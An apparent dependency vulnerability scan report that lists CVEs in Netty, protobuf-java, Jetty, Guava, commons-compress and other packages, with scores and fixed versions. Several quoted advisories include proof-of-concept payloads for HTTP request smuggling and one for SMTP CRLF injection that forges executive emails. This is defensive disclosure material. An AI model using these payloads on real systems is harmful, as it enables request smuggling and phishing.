EPSS Percentile85th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.078%
EPSS Percentile24th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec-smtp@4.1.124.Final
-high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - - - - - - - - -
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
- -
Description -
- -### Summary -An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. - -### Details -The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. - -The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. - -Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. - -### PoC -A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. - -**1. Malicious Payload** - -The core of the exploit is the payload, where new SMTP commands are injected into a parameter. - -```java -// The legitimate recipient is followed by an injected email sequence -String injected_recipient = "legit-recipient@example.com\r\n" + - "MAIL FROM:\r\n" + - "RCPT TO:\r\n" + - "DATA\r\n" + - "From: ceo@trusted-domain.com\r\n" + - "To: victim@anywhere.com\r\n" + - "Subject: Urgent: Phishing Email\r\n" + - "\r\n" + - "This is a forged email that will pass authentication checks.\r\n" + - ".\r\n" + - "QUIT\r\n"; -``` - -**2. Triggering the Vulnerability** - -The vulnerability is triggered when this payload is used to create an SMTP request. - -```java -// The Netty SMTP codec will fail to sanitize this input -SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); - -// When this request is sent to an SMTP server, the injected commands -// will be executed, sending a forged email. -channel.writeAndFlush(maliciousRequest); -``` - -**3. Full Reproduction Steps** - -A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server - -* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c - -To run the full PoC: - -1. **Set up a local SMTP server.** The easiest way is using MailHog: - * On macOS: `brew install mailhog && mailhog` - * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` -2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. -3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. - -### Impact -This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). - -The primary impacts are: -* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. -* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. - -
-
-
-
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) - -pkg:maven/org.apache.commons/commons-compress@1.23.0
-medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
- -
Description -
- -Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. - -Users are recommended to upgrade to version 1.26, which fixes the issue. - -
-
- -medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') - - - - - - - - -
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
- -
Description -
- -Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. - -Users are recommended to upgrade to version 1.26.0 which fixes the issue. - -
-
- -medium 5.5: CVE--2023--42503 Improper Input Validation - - - - - - - - -
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
- -Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. - -Users are recommended to upgrade to version 1.24.0, which fixes the issue. - -A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. - -In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. - -Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. - -[1]: https://issues.apache.org/jira/browse/COMPRESS-612 -[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 -[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html -[4]: https://bugs.openjdk.org/browse/JDK-6560193 -[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 - -Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) - -pkg:maven/org.apache.commons/commons-configuration2@2.8.0
-medium 6.9: CVE--2024--29133 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
- -medium 6.5: CVE--2024--29131 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 io.netty/netty-codec-http 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec-http@4.1.124.Final
-medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') - - - - - - - - -
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.050%
EPSS Percentile16th percentile
- -
Description -
- -### Summary - -The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. - -### Details - -The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) - -The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. - -### PoC - -Simple reproducer: - -```java -public static void main(String[] args) { - - EmbeddedChannel client = new EmbeddedChannel(); - client.pipeline().addLast(new HttpClientCodec()); - - EmbeddedChannel server = new EmbeddedChannel(); - server.pipeline().addLast(new HttpServerCodec()); - server.pipeline().addLast(new ChannelInboundHandlerAdapter() { - @Override - public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - System.out.println("Processing msg " + msg); - } - }); - - DefaultHttpRequest request = new DefaultHttpRequest( - HttpVersion.HTTP_1_1, - HttpMethod.GET, - "/s1 HTTP/1.1\r\n" + - "\r\n" + - "POST /s2 HTTP/1.1\r\n" + - "content-length: 11\r\n\r\n" + - "Hello World" + - "GET /s1" - ); - client.writeAndFlush(request); - ByteBuf tmp; - while ((tmp = client.readOutbound()) != null) { - server.writeInbound(tmp); - } -} -``` - -### Impact - -Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. - -
-
- -low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -## Summary -A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. - -## Details -When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). - -This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): - -``` -POST /one HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 - -POST /two HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -0 - -``` - -The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). - -## Impact -This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. - -The impact is high, but it only affects setups that use a front-end which: -1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. -2. Forwards chunk extensions without normalization. - -## Disclosure - - - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html - -## Discussion -Discussion for this vulnerability can be found here: - - https://github.com/netty/netty/issues/15522 - - https://github.com/JLLeitschuh/unCVEed/issues/1 - -## Credit - - - Credit to @JeppW for uncovering this vulnerability. - - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) - -pkg:maven/com.google.guava/guava@30.1.1-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) - -pkg:maven/com.google.guava/guava@27.0-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
